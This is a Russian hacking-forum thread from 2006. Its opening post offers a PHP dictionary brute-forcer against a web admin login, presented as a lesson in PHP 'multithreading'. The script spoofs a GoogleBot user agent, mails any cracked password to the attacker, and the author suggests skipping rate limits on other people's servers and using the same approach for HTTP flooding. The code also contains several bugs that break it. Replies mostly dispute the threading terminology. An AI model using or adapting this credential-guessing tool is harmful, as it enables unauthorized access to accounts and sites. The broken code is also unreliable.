Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

17.12.2006, 18:47
|
|
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме: 347686
Репутация:
87
|
|
Php и многопоточность
Интро
Иногда бывают ситуации, требующие быстро обработать информацию. Например, при работе с несколькими тысячами записей БД, не заставляя пользователя долго ждать. К сожалению PHP обладает небольшими возможностями при роботе с потоками, здесь козыри в руках PERL. Но именно о многопоточности в PHP мы и будем говорить.
О многопоточности в PERL можно прочитать в статье KSURi.
_http://forum.antichat.ru/thread28020.html
In da work
Для примера возьмем более привычную задачу – брут(или хттп флуд=)). Итак работать будем с сокетами. Брутить будем какой нибудь пароль в админку. Комменты и обьяснения в самом скрипте. В начале скрипта идут простые параметры. Максимальное число потоков не рекомендую ставить слишком большим =) С целью экономии памяти ограничим максимальную длину пароля. Если скрипт не требует логина - пропустите соответствующую настройку. Если вы незнаете ответа скрипта при правильном пароле, напишите в $stop_condition ответ при неправильном а в скрипте перед preg_match доставьте - " !"
<?php
//Маскимальное число потоков
$threads = 20;
//хост
$host = "http://somehost.net";
//порт
$port = 80;
//файл для авторизации
$auth_file = "somefile.php";
//имя которое будем брутить
$brute_username = "admin";
//Словарик
# Переделать скрипт для брута по алфавиту или маске
# не составит труда.
$dict = "dict.txt";
//Максимальная длина пароля из файла
$socket_send_limit = 32;
//Стоп условие.
$stop_condition = "Welcome to the admin panel";
//Мыло на которое приёдет пасс
# Скрипт также можно переделать для записи результата
# в файл или простого вывода на экран
$mail = "somemail@mail.ru";
Смысл многопоточности в паралельно работающих соединениях. Их хендлеры заносятся в масив, не превышающий $threads. Отработавшие сокеты удаляются из масива освобожная место новым. Каждый считаный из словаря пасс формирует новый запрос. Следующий пасс - новый поток.
#####################
# Начинаем работать
#
//Формируем полный путь к скрипту
$full_path = $host.":".$port."/".$auth_file."?";
$f = fopen("$dict","r");
while (!feof($f)) {
//Читаем словарик
$current_pass = fgets($f,$socket_send_limit);
//Пока не достигли максимального числа потоков - продолжаем
if $threads > count($sock) {
//Формируем сам пост запрос
//Добавить можно любые хидеры
$query = "";
$query .="POST ".$full_path." HTTP/1.1\r\n";
$query .="Accept: */* \n";
$query .="Host: ".$host."\n";
$query .="User-Agent: GoogleBot 2.1\n"; // =)))))
$query .="\nlogin=".$brute_username."&password=".$сurren t_pass."\n";
//Открываем сокет
$s = fsockopen($host,$port);
//!!! Переходим в неблокирующий режим!!!!
stream_set_blocking(0);
//Устанавливаем таймаут
stream_set_timeout($s,600);
//Пишем в сокет
fputs($s,strlen($query));
//Запоминаем сокет в масив
$sock[$current_pass] = $s;
//Проверяем количество потоков
if count($sock) == 0 die("Can`t open socket or job already done.");
//Считываем ответ сервера
$get = fgets($s,1024);
//Не сбрутился ли наш пароль?
if (preg_match($stop_condition,$get)) {
mail("somemail@mail.ru","brute",$current_pass);
fclose($s);
fclose($f);
die("Done!");
}
//Удаляем из масива хендлер отработавшего сокета
//Освобождаем место для нового
unset($sock[$current_pass]);
}
//Разгрузим немного сервак. Можно пропустить на чужом сервере =)
sleep(1);
}
?>
Вместо заключения
Естественно это не единственный способ. Скрипт полностью работоспособный, но на баги не проверял. В общем есть смысл доработать и/или модернизировать. Целью было показать один из способов увеличения скорости работы в PHP.
|
|
|

17.12.2006, 18:51
|
|
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме: 3369632
Репутация:
749
|
|
Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Как у меня тут например:
http://zadoxlik.info/portscan
А вообще слишком громко назвал тему чтобы написатьв ней только такую какашку
|
|
|

17.12.2006, 19:21
|
|
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме: 347686
Репутация:
87
|
|
Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Всё нормально работает, причём намного быстрее. А насчёт "многопоточности" я и написал в интро и аутро. Если ты читал...
Насчёт названия топика - ыыы блин, ты прав, немного не так
|
|
|

17.12.2006, 19:35
|
|
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме: 3369632
Репутация:
749
|
|
У тебя блокируется выполнение в момент подкючения к хосту
|
|
|

17.12.2006, 20:44
|
|
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме: 347686
Репутация:
87
|
|
Собственно ... уже давно пользуюсь более функциональным отлаженым скриптом на основе этого. Этот же скрипт я писал по-быстрому, даже не проверил на ошибки, ведь он работает у меня более пол года. Целью было показать идею, и возможно сам скипт не отлажен.
|
|
|

17.12.2006, 20:45
|
|
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме: 1045663
Репутация:
864
|
|
Гг. Серия статей про треады?
Остались треды на питоне 
|
|
|

17.12.2006, 21:35
|
|
Постоянный
Регистрация: 13.08.2004
Сообщений: 957
Провел на форуме: 1770063
Репутация:
429
|
|
Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)
|
|
|

17.12.2006, 23:39
|
|
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме: 1985206
Репутация:
963
|
|
Был уже миллион обсуждений этой темы. Доходило до холиваров Perl vs PHP.
Но суть не в этом...
Скрипт дает прирост скорости? - Да. Значит все нормально.
Не стоит ругаться на его трактовку термина "многопточность". Главное что прирост есть, а термины это ***##
|
|
|

17.12.2006, 23:50
|
|
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме: 347686
Репутация:
87
|
|
Сообщение от Morph
Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)
c названием да, с потоками - нет (+pcntl)
|
|
|

18.12.2006, 00:23
|
|
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме: 3369632
Репутация:
749
|
|
Это не потоки
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|